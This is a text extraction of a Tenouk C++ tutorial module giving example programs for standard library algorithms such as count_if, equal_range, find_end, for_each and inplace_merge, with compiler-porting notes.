file:///C|/Tutorial.txt (515 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

-----------------------------------------------------------------------------------------------

//algorithm, count()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec;
vector <int>::iterator Iter;

vec.push_back(12);
vec.push_back(22);
vec.push_back(12);
vec.push_back(31);
vec.push_back(12);
vec.push_back(33);

cout<<"vec data: ";


for(Iter = vec.begin(); Iter != vec.end(); Iter++)
cout<<*Iter<<" ";
cout<<endl;

int result;
cout<<"\nOperation: count(vec.begin(), vec.end(), 12)\n";
result = count(vec.begin(), vec.end(), 12);
cout<<"The number of 12s in vec is: "<<result<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------

//algorithm, count_if()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

bool isgreat(int value)


{return value >8;}

int main()
{
vector <int> vec;
vector <int>::iterator Iter;
vec.push_back(13);
vec.push_back(21);
vec.push_back(9);
vec.push_back(31);
vec.push_back(8);
vec.push_back(10);

file:///C|/Tutorial.txt (516 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"vec data: ";


for(Iter = vec.begin(); Iter != vec.end(); Iter++)
cout<<*Iter<<" ";
cout<<endl;

int result1;
cout<<"\nOperation: count_if(vec.begin(), vec.end(), isgreat)\n";
result1 = count_if(vec.begin(), vec.end(), isgreat);
cout<<"The number of elements in vec greater than 8 is: "<<result1<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------

// countif()
//
// Functions:
// count_if - Count items in a range that satisfy a predicate.
// begin - Returns an iterator that points to the first element in
// a sequence.
// end - Returns an iterator that points one past the end of a
// sequence.
#include <iostream>
#include <algorithm>
#include <functional>
#include <string>
#include <vector>

using namespace std;

//Return true if string str starts with letter 'C'


int MatchFirstChar(const string& str)
{
string s("C");
return s == str.substr(0, 1);
}

int main()
{
const int VECTOR_SIZE = 110;

//Define a template class vector of strings


typedef vector<string > StringVector;

//Define an iterator for template class vector of strings


typedef StringVector::iterator StringVectorIt;

//vector containing names


StringVector NamesVect(VECTOR_SIZE);

StringVectorIt start, end, it;

//stores count of elements that match value.


ptrdiff_t result = 0;

//Initialize vector NamesVect

file:///C|/Tutorial.txt (517 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

NamesVect[0] = "Learn";
NamesVect[1] = "C";
NamesVect[2] = "and";
NamesVect[3] = "C++";
NamesVect[4] = "also";
NamesVect[5] = "Visual";
NamesVect[6] = "C++";
NamesVect[7] = "and";
NamesVect[8] = "C++";
NamesVect[9] = ".Net";

//location of first element of NamesVect


start = NamesVect.begin();

//one past the location last element of NamesVect


end = NamesVect.end();

//print content of NamesVect


cout<<"NamesVect: ";
for(it = start; it != end; it++)
cout<<*it<<" ";
cout<<endl;

//Count the number of elements in the range [first, last +1)


//that start with letter 'C'
result = count_if(start, end, MatchFirstChar);

//print the count of elements that start with letter 'S'


cout<<"Number of elements that start with letter \"C\" = "<<result<<endl;
}

-------------------------------------------------------------------------------------------------

//algorithm, equal()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

//Return whether second element is twice of the first


bool twice(int elem1, int elem2)
{ return elem1 * 2 == elem2;}

int main()
{
vector <int> vec1, vec2, vec3;
vector <int>::iterator Iter1, Iter2, Iter3;

int i;
for(i = 10; i <= 15; i++)
vec1.push_back(i);

int j;
for(j = 0; j <= 5; j++)
vec2.push_back(j);

file:///C|/Tutorial.txt (518 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

int k;
for(k = 10; k <= 15; k++)
vec3.push_back(k);

cout<<"vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"vec2 data: ";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

cout<<"vec3 data: ";


for(Iter3 = vec3.begin(); Iter3 != vec3.end(); Iter3++)
cout<<*Iter3<<" ";
cout<<endl;

//Testing vec1 and vec2 for equality based on equality


bool b;
b = equal(vec1.begin(), vec1.end(), vec2.begin());

if(b)
cout<<"The vectors vec1 and vec2 are equal based on equality."<<endl;
else
cout<<"The vectors vec1 and vec2 are not equal based on equality."<<endl;

//Testing vec1 and vec3 for equality based on equality


bool c;
c = equal(vec1.begin(), vec1.end(), vec3.begin());

if(c)
cout<<"The vectors vec1 and vec3 are equal based on equality."<<endl;
else
cout<<"The vectors vec1 and vec3 are not equal based on equality."<<endl;

//Testing vec1 and vec3 for equality based on twice


bool d;
d = equal(vec1.begin(), vec1.end(), vec3.begin(), twice);

if(d)
cout<<"The vectors vec1 and vec3 are equal based on twice."<<endl;
else
cout<<"The vectors vec1 and vec3 are not equal based on twice."<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------

//algorithm, equal_range()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>

file:///C|/Tutorial.txt (519 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

using namespace std;

//Return whether modulus of elem1 is less than modulus of elem2


bool mod_lesser(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
}

int main()
{
vector <int> vec1;
vector <int>::iterator Iter1;
pair < vector <int>::iterator, vector <int>::iterator > Result1, Result2, Result3;

//Constructing vectors vec1 with default less than ordering


int i;
for(i = -2; i <= 4; i++)
vec1.push_back(i);

int j;
for(j =1; j <= 5; j++)
vec1.push_back(j);

sort(vec1.begin(), vec1.end());
cout<<"vec1 data with range sorted by the binary predicate less than is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Constructing vectors vec2 with range sorted by greater


vector <int> vec2(vec1);
vector <int>::iterator Iter2;
sort(vec2.begin(), vec2.end(), greater<int>());

cout<<"\nvec2 data with range sorted by the binary predicate greater than is:\n";
for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//Constructing vectors vec3 with range sorted by mod_lesser


vector <int> vec3(vec1);
vector <int>::iterator Iter3;
sort(vec3.begin(), vec3.end(), mod_lesser);

cout<<"\nvec3 data with range sorted by the binary predicate mod_lesser is:\n";
for(Iter3 = vec3.begin(); Iter3 != vec3.end(); Iter3++)
cout<<*Iter3<<" ";
cout<<"\n\n";

//equal_range of 4 in vec1 with default binary predicate less <int>()


Result1 = equal_range(vec1.begin(), vec1.end(), 4);
cout<<"lower_bound in vec1 for the element with a value of 4 is: "<<*Result1.first<<endl;

file:///C|/Tutorial.txt (520 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"upper_bound in vec1 for the element with a value of 4 is: "<<*Result1.second<<endl;


cout<<"The equivalence class for the element with a value of 4 in \nvec1 includes the elements: ";
for(Iter1 = Result1.first; Iter1 != Result1.second; Iter1++)
cout<<*Iter1<<" ";
cout<<endl<<endl;

//equal_range of 4 in vec2 with the binary predicate greater <int>()


Result2 = equal_range(vec2.begin(), vec2.end(), 4, greater <int>());
cout<<"lower_bound in vec2 for the element with a value of 4 is: "<<*Result2.first<<endl;
cout<<"upper_bound in vec2 for the element with a value of 4 is: "<<*Result2.second<<endl;
cout<<"The equivalence class for the element with a value of 4 in"
<<"\n vec2 includes the elements: ";
for(Iter2 = Result2.first; Iter2 != Result2.second; Iter2++)
cout<<*Iter2<<" ";
cout<<endl<<endl;

//equal_range of 4 in vec3 with the binary predicate mod_lesser


Result3 = equal_range(vec3.begin(), vec3.end(), 4, mod_lesser);
cout<<"lower_bound in vec3 for the element with a value of 4 is: "<<*Result3.first<<endl;
cout<<"upper_bound in vec3 for the element with a value of 4 is: "<<*Result3.second<<endl;
cout<<"equivalence class for the element with a value of 4 in \nvec3 includes the elements: ";
for(Iter3 = Result3.first; Iter3 != Result3.second; Iter3++)
cout<<*Iter3<<" ";
cout<<endl<<endl;
return 0;
}

--------------------------------------------------------------------------------------------------

//algoritm, fill()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec;
vector <int>::iterator Iter1;

int i;
for(i = 10; i <= 20; i++)
vec.push_back(i);

cout<<"Vector vec data: ";


for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Fill the last 4 positions with a value of 9


cout<<"\nOperation: fill(vec.begin() + 4, vec.end(), 9)\n";
fill(vec.begin() + 4, vec.end(), 9);
cout<<"Modified vec data: ";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

file:///C|/Tutorial.txt (521 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

return 0;
}

----------------------------------------------------------------------------------------------

//algorithm, fill_n()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec;
vector <int>::iterator Iter1;

int i;
for(i = 10; i <= 20; i++)
vec.push_back(i);

cout<<"Vector vec data: ";


for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Fill the last 3 positions for 6 position with a value of 9


cout<<"\nOperation: fill_n(vec.begin() + 3, 6, 9)\n";
fill_n(vec.begin() + 3, 6, 9);
cout<<"Modified vec data: ";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
return 0;
}

---------------------------------------------------------------------------------------------------

//algorithm, find()
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;

int main()
{
list <int> lst;
list <int>::iterator Iter;
list <int>::iterator result;
lst.push_back(9);
lst.push_back(21);
lst.push_back(14);
lst.push_back(10);
lst.push_back(16);
lst.push_back(31);

cout<<"List lst data: ";

file:///C|/Tutorial.txt (522 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

for(Iter = lst.begin(); Iter != lst.end(); Iter++)


cout<<*Iter<<" ";
cout<<endl;

cout<<"\nOperation: find(lst.begin(), lst.end(), 14)\n";


result = find(lst.begin(), lst.end(), 14);
if(result == lst.end())
cout<<"There is no 14 in list lst."<<endl;
else
result++;
cout<<"There is a 14 in list lst and it is"<<" followed by a "<<*(result)<<endl;
return 0;
}

----------------------------------------------------------------------------------------------------

//algorithm, find_end()
//some type conversion warning
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;

//Return whether second element is twice the first


bool twice(int elem1, int elem2)
{ return 2 * elem1 == elem2;}

int main()
{
vector <int> vec1, vec2;
list <int> lst;
vector <int>::iterator Iter1, Iter2;
list <int>::iterator lst_Iter, lst_inIter;

int i;
for(i = 10; i <= 15; i++)
vec1.push_back(i);

int j;
for(j = 11; j <= 14; j++)
lst.push_back(j);

int k;
for(k = 12; k <= 14; k++)
vec2.push_back(2*k);

cout<<"Vector vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"List lst data: ";


for(lst_Iter = lst.begin(); lst_Iter != lst.end(); lst_Iter++)
cout<<*lst_Iter<<" ";
cout<<endl;

file:///C|/Tutorial.txt (523 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"Vector vec2 data: ";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl<<endl;

//Searching vec1 for a match to lst under identity


vector <int>::iterator result1;
result1 = find_end(vec1.begin(), vec1.end(), lst.begin(), lst.end());

if(result1 == vec1.end())
cout<<"There is no match of lst in vec1."<<endl;
else
cout<<"There is a match of lst in vec1 that begins at "
<<"position "<<result1 - vec1.begin()<<endl;

//Searching vec1 for a match to lst under the binary predicate twice
vector <int>::iterator result2;
result2 = find_end(vec1.begin(), vec1.end(), vec2.begin(), vec2.end(), twice);

if(result2 == vec1.end())
cout<<"\nThere is no match of lst in vec1."<<endl;
else
cout<<"\nThere is a sequence of elements in vec1 that "
<<"are\nequivalent to those in vec2 under the binary "
<<"predicate\ntwice and that begins at position "
<<result2 - vec1.begin()<<endl;
return 0;
}

--------------------------------------------------------------------------------------------------

//algorithm, find_first_of()
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;

//Return whether second element is twice the first


bool twice(int elem1, int elem2)
{return (2 * elem1 == elem2);}

int main()
{
vector <int> vec1, vec2;
list <int> lst;
vector <int>::iterator Iter1, Iter2;
list <int>::iterator lst_Iter, lst_inIter;

int i;
for(i = 0; i <= 5; i++)
vec1.push_back(5*i);

int j;
for(j = 3; j <= 4; j++)

file:///C|/Tutorial.txt (524 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

lst.push_back(5*j);

int k;
for(k = 2; k <= 4; k++)
vec2.push_back(10*k);

cout<<"Vector vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"List lst data: ";


for(lst_Iter = lst.begin(); lst_Iter!= lst.end(); lst_Iter++)
cout<<*lst_Iter<<" ";
cout<<endl;

cout<<"Vector vec2 data: ";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//Searching vec1 for first match to lst under identity


vector <int>::iterator result1;
result1 = find_first_of(vec1.begin(), vec1.end(), lst.begin(), lst.end());

if(result1 == vec1.end())
cout<<"\nThere is no match of lst in vec1."<<endl;
else
cout<<"\nThere is at least one match of lst in vec1"
<<"\nand the first one begins at "
<<"position "<<result1 - vec1.begin()<<endl;

//Searching vec1 for a match to lst under the binary predicate twice
vector <int>::iterator result2;
result2 = find_first_of(vec1.begin(), vec1.end(), vec2.begin(), vec2.end(), twice);

if(result2 == vec1.end())
cout<<"\nThere is no match of lst in vec1."<<endl;
else
cout<<"\nThere is a sequence of elements in vec1 that "
<<"are\nequivalent to those in vec2 under the binary\n"
<<"predicate twice and the first one begins at position "
<<result2 - vec1.begin()<<endl;
return 0;
}

------------------------------------------------------------------------------------------------

//algoritm, find_if()
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;

bool great(int value)


{return value>13;}

file:///C|/Tutorial.txt (525 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

int main()
{
list <int> lst;
list <int>::iterator Iter;
list <int>::iterator result;

lst.push_back(13);
lst.push_back(9);
lst.push_back(10);
lst.push_back(22);
lst.push_back(31);
lst.push_back(17);

cout<<"List lst data: ";


for(Iter = lst.begin(); Iter != lst.end(); Iter++)
cout<<*Iter<<" ";
cout<<endl;

cout<<"\nOperation: find_if(lst.begin(), lst.end(), great)\n";


result = find_if(lst.begin(), lst.end(), great);
if(result == lst.end())
cout<<"There is no element greater than 13 in list lst."<<endl;
else
result++;
cout<<"There is an element greater than 13\nin list lst,"
<<" and it is followed by a "
<<*(result)<<endl;
return 0;
}

-------------------------------------------------------------------------------------------------

//algorithm, for_each()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

//The function object multiplies an element by a Factor


template <class Type>
class MultValue
{
private:
//The value to multiply by
Type Factor;
public:
//Constructor initializes the value to multiply by
MultValue(const Type& _Val) : Factor(_Val) {}

//The function call for the element to be multiplied


void operator()(Type& elem) const
{elem *= Factor;}
};

//The function object to determine the average

file:///C|/Tutorial.txt (526 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

class Average
{
private:
//The number of elements
long num;
//The sum of the elements
long sum;
public:
//Constructor initializes the value to multiply by
Average() : num(0), sum(0){}

//The function call to process the next elment


void operator()( int elem ) \
{
//Increment the element count
num++;
//Add the value to the partial sum
sum += elem;
}
//return Average
operator double()
{
return (static_cast <double> (sum))/(static_cast <double> (num));
}
};

int main()
{
vector <int> vec;
vector <int>::iterator Iter1;

//Constructing vector vec


int i;
for(i = -3; i <= 4; i++)
vec.push_back(i);

cout<<"vector vec data: ";


for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Using for_each to multiply each element by a Factor


for_each(vec.begin(), vec.end(), MultValue<int>(-2));

cout<<"\nMultiplying the elements of the vector vec\n"


<<"by the factor -2 gives:\nvecmult1 data: ";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//The function object is templatized and so can be


//used again on the elements with a different Factor
for_each(vec.begin(), vec.end(), MultValue<int>(5));

cout<<"\nMultiplying the elements of the vector vecmult1\n"


<<"by the factor 5 gives:\nvecmult2 data: ";

file:///C|/Tutorial.txt (527 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)


cout<<*Iter1<<" ";
cout<<endl;

//The local state of a function object can accumulate


//information about a sequence of actions that the
//return value can make available, here the Average
double avemod2 = for_each(vec.begin(), vec.end(), Average());
cout<<"\nThe average of the elements of vec is:\nAverage(vecmult2) = "<<avemod2<<endl;
return 0;
}

-------------------------------------------------------------------------------------------------

//algorithm, generate()
#include <vector>
#include <deque>
#include <algorithm>
#include <iostream>
using namespace std;

int main()
{
//Assigning random values to vector integer elements
vector <int> vec(5);
vector <int>::iterator Iter1;
deque <int> deq(5);
deque <int>::iterator deqIter;

cout<<"\nOperation: generate(vec.begin(), vec.end(), rand)\n";


generate(vec.begin(), vec.end(), rand);
cout<<"Vector vec data: ";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Assigning random values to deque integer elements


cout<<"\nOperation: generate(deq.begin(), deq.end(), rand)\n";
generate(deq.begin(), deq.end(), rand);
cout<<"Deque deq data: ";
for(deqIter = deq.begin(); deqIter != deq.end(); deqIter++)
cout<<*deqIter<<" ";
cout<<endl;
return 0;
}

--------------------------------------------------------------------------------------------------------

//algorithm, generate_n()
#include <vector>
#include <deque>
#include <algorithm>
#include <iostream>
using namespace std;

int main()

file:///C|/Tutorial.txt (528 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

{
//Assigning random values to vector integer elements
vector <int> vec(7);
vector <int>::iterator Iter1;
deque <int> deq(7);
deque <int>::iterator deqIter;

cout<<"\nOperation: generate_n(vec.begin(), 7, rand)\n";


generate_n(vec.begin(), 7, rand);
cout<<"Vector vec data: ";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Assigning random values to deque integer elements


cout<<"\nOperation: generate_n(deq.begin(), 4, rand)\n";
generate_n(deq.begin(), 4, rand);
cout<<"Deque deq data: ";
for(deqIter = deq.begin(); deqIter != deq.end(); deqIter++)
cout<<*deqIter<<" ";
cout<<endl;
return 0;
}

----------------------------------------------------------------------------------------------------------

//algorithm, includes()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;

//Return whether modulus of elem1 is less than modulus of elem2


bool mod_lesser(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
}

int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2;

//Constructing vectors vec1 & vec2 with default less-than ordering


int i;
for(i = -2; i <= 4; i++)
vec1.push_back(i);

int j;
for(j =-2; j <= 3; j++)

file:///C|/Tutorial.txt (529 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

vec2.push_back(j);

cout<<"vector vec1 data with range sorted by the "


<<"binary predicate\nless than is: ";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"\nvector vec2 data with range sorted by the "


<<"binary predicate\nless than is: ";
for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//Constructing vectors vec3 & vec4 with ranges sorted by greater


vector <int> vec3(vec1), vec4(vec2);
vector <int>::iterator Iter3, Iter4;
sort(vec3.begin(), vec3.end(), greater<int>());
sort(vec4.begin(), vec4.end(), greater<int>());
vec3.pop_back();

cout<<"\nvector vec3 data with range sorted by the "


<<"binary predicate\ngreater is: ";
for(Iter3 = vec3.begin(); Iter3 != vec3.end(); Iter3++)
cout<<*Iter3<<" ";
cout<<endl;

cout<<"\nvector vec4 data with range sorted by the "


<<"binary predicate\ngreater is: ";
for(Iter4 = vec4.begin(); Iter4 != vec4.end(); Iter4++)
cout<<*Iter4<<" ";
cout<<endl;

//Constructing vectors vec5 & vec6 with ranges sorted by mod_lesser


vector <int> vec5(vec1), vec6(vec2);
vector <int>::iterator Iter5, Iter6;
reverse(vec5.begin(), vec5.end());
vec5.pop_back();
vec5.pop_back();
sort(vec5.begin(), vec5.end(), mod_lesser);
sort(vec6.begin(), vec6.end(), mod_lesser);

cout<<"\nvector vec5 data with range sorted by the "


<<"binary predicate\nmod_lesser is: ";
for(Iter5 = vec5.begin(); Iter5 != vec5.end(); Iter5++)
cout<<*Iter5<<" ";
cout<<endl;

cout<<"\nvector vec6 data with range sorted by the "


<<"binary predicate\nmod_lesser is: ";
for(Iter6 = vec6.begin(); Iter6 != vec6.end(); Iter6++)
cout<<*Iter6<<" ";
cout<<endl;

//To test for inclusion under an asscending order


//with the default binary predicate less <int>()

file:///C|/Tutorial.txt (530 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

bool Result1;
Result1 = includes(vec1.begin(), vec1.end(), vec2.begin(), vec2.end());
if(Result1)
cout<<"\nAll the elements in vector vec2 are contained in vector vec1."<<endl;
else
cout<<"\nAt least one of the elements in vector vec2 is not contained in vector vec1."<<endl;

//To test for inclusion under descending


//order specifies binary predicate greater<int>()
bool Result2;
Result2 = includes(vec3.begin(), vec3.end(), vec4.begin(), vec4.end(), greater<int>());
if(Result2)
cout<<"\nAll the elements in vector vec4 are contained\nin vector vec3."<<endl;
else
cout<<"\nAt least one of the elements in vector vec4\nis not contained in vector vec3."<<endl;

//To test for inclusion under a user


//defined binary predicate mod_lesser
bool Result3;
Result3 = includes(vec5.begin(), vec5.end(), vec6.begin(), vec6.end(), mod_lesser);
if(Result3)
cout<<"\nAll the elements in vector vec6 are contained under\nmod_lesser in vector vec5."<<endl;
else
cout<<"\nAt least one of the elements in vector vec6 is not\ncontained under mod_lesser in vector vec5."<<endl;
return 0;
}

---------------------------------------------------G++-----------------------------------------------------------

//******algocopy.cpp********
//algoritm, copy()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2;

int i;
for(i = 0; i <= 5; i++)
vec1.push_back(i);

int j;
for(j = 10; j <= 20; j++)
vec2.push_back(j);

cout<<"vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"vec2 data: ";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)

file:///C|/Tutorial.txt (531 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<*Iter2<<" ";
cout<<endl;

//To copy the first 4 elements of vec1 into the middle of vec2
copy(vec1.begin(), vec1.begin() + 4, vec2.begin() + 5);

cout<<"vec2 with vec1 insert data: ";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//To shift the elements inserted into vec2 two positions


//to the left
copy(vec2.begin()+4, vec2.begin() + 7, vec2.begin() + 2);

cout<<"vec2 with shifted insert data: ";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;
return 0;
}

----------------------------------------------------------------------------------------

//******algofindfirstof.cpp********
//algorithm, find_first_of()
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;

//Return whether second element is twice the first


bool twice(int elem1, int elem2)
{return (2 * elem1 == elem2);}

int main()
{
vector <int> vec1, vec2;
list <int> lst;
vector <int>::iterator Iter1, Iter2;
list <int>::iterator lst_Iter, lst_inIter;

int i;
for(i = 0; i <= 5; i++)
vec1.push_back(5*i);

int j;
for(j = 3; j <= 4; j++)
lst.push_back(5*j);

int k;
for(k = 2; k <= 4; k++)
vec2.push_back(10*k);

cout<<"Vector vec1 data: ";

file:///C|/Tutorial.txt (532 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)


cout<<*Iter1<<" ";
cout<<endl;

cout<<"List lst data: ";


for(lst_Iter = lst.begin(); lst_Iter!= lst.end(); lst_Iter++)
cout<<*lst_Iter<<" ";
cout<<endl;

cout<<"Vector vec2 data: ";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//Searching vec1 for first match to lst under identity


vector <int>::iterator result1;
result1 = find_first_of(vec1.begin(), vec1.end(), lst.begin(), lst.end());

if(result1 == vec1.end())
cout<<"\nThere is no match of lst in vec1."<<endl;
else
cout<<"\nThere is at least one match of lst in vec1"
<<"\nand the first one begins at "
<<"position "<<result1 - vec1.begin()<<endl;

//Searching vec1 for a match to lst under the binary predicate twice
vector <int>::iterator result2;
result2 = find_first_of(vec1.begin(), vec1.end(), vec2.begin(), vec2.end(), twice);

if(result2 == vec1.end())
cout<<"\nThere is no match of lst in vec1."<<endl;
else
cout<<"\nThere is a sequence of elements in vec1 that "
<<"are\nequivalent to those in vec2 under the binary\n"
<<"predicate twice and the first one begins at position "
<<result2 - vec1.begin()<<endl;
return 0;
}

============================MODULE35=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using

file:///C|/Tutorial.txt (533 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

g++ are given at the end of every Module. For example if you want to
compile C++ codes using VC++/VC++ .Net, change the header file accordingly.
Just need some modification for the header files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
============================HERE, ALL C++ codes==========================

//algorithm, inplace_merge()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;

//Return whether modulus of elem1 is less than modulus of elem2


bool mod_lesser(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
}

int main()
{
vector <int> vec1;

file:///C|/Tutorial.txt (534 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

vector <int>::iterator Iter1, Iter2, Iter3;

//Constructing vector vec1 with default less-than ordering


int i;
for(i = 0; i <= 5; i++)
vec1.push_back(i);

int j;
for(j =-5; j <= 0; j++)
vec1.push_back(j);

cout<<"vector vec1 data with subranges sorted by the "


<<"binary\npredicate less than is: ";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Constructing vector vec2 with ranges sorted by greater


vector <int> vec2(vec1);
vector <int>::iterator break2;
break2 = find(vec2.begin(), vec2.end(), -5);

sort(vec2.begin(), break2, greater<int>());


sort(break2, vec2.end(), greater<int>());

cout<<"\nvector vec2 data with subranges sorted by the "


<<"binary\npredicate greater is: ";
for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//Constructing vector vec3 with ranges sorted by mod_lesser


vector <int> vec3(vec1);
vector <int>::iterator break3;
break3 = find(vec3.begin(), vec3.end(), -5);

sort(vec3.begin(), break3, mod_lesser);


sort(break3, vec3.end(), mod_lesser);

cout<<"\nvector vec3 data with subranges sorted by the "


<<"binary\npredicate mod_lesser is: ";
for(Iter3 = vec3.begin(); Iter3 != vec3.end(); Iter3++)
cout<<*Iter3<<" ";
cout<<endl;

vector <int>::iterator break1;


break1 = find(vec1.begin(), vec1.end(), -5);
inplace_merge(vec1.begin(), break1, vec1.end());
cout<<"\nvector vec1merg data, merged inplace with\ndefault order: ";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//To merge inplace in descending order, specify binary


//predicate greater<int>()
inplace_merge(vec2.begin(), break2, vec2.end(), greater<int>());

file:///C|/Tutorial.txt (535 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"\nvector vec2merg data, merged inplace with binary\npredicate greater specified: ";
for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//Applying a user defined binary predicate mod_lesser


inplace_merge(vec3.begin(), break3, vec3.end(), mod_lesser);
cout<<"\nvector vec3merg data, merged inplace with binary\npredicate mod_lesser specified: ";
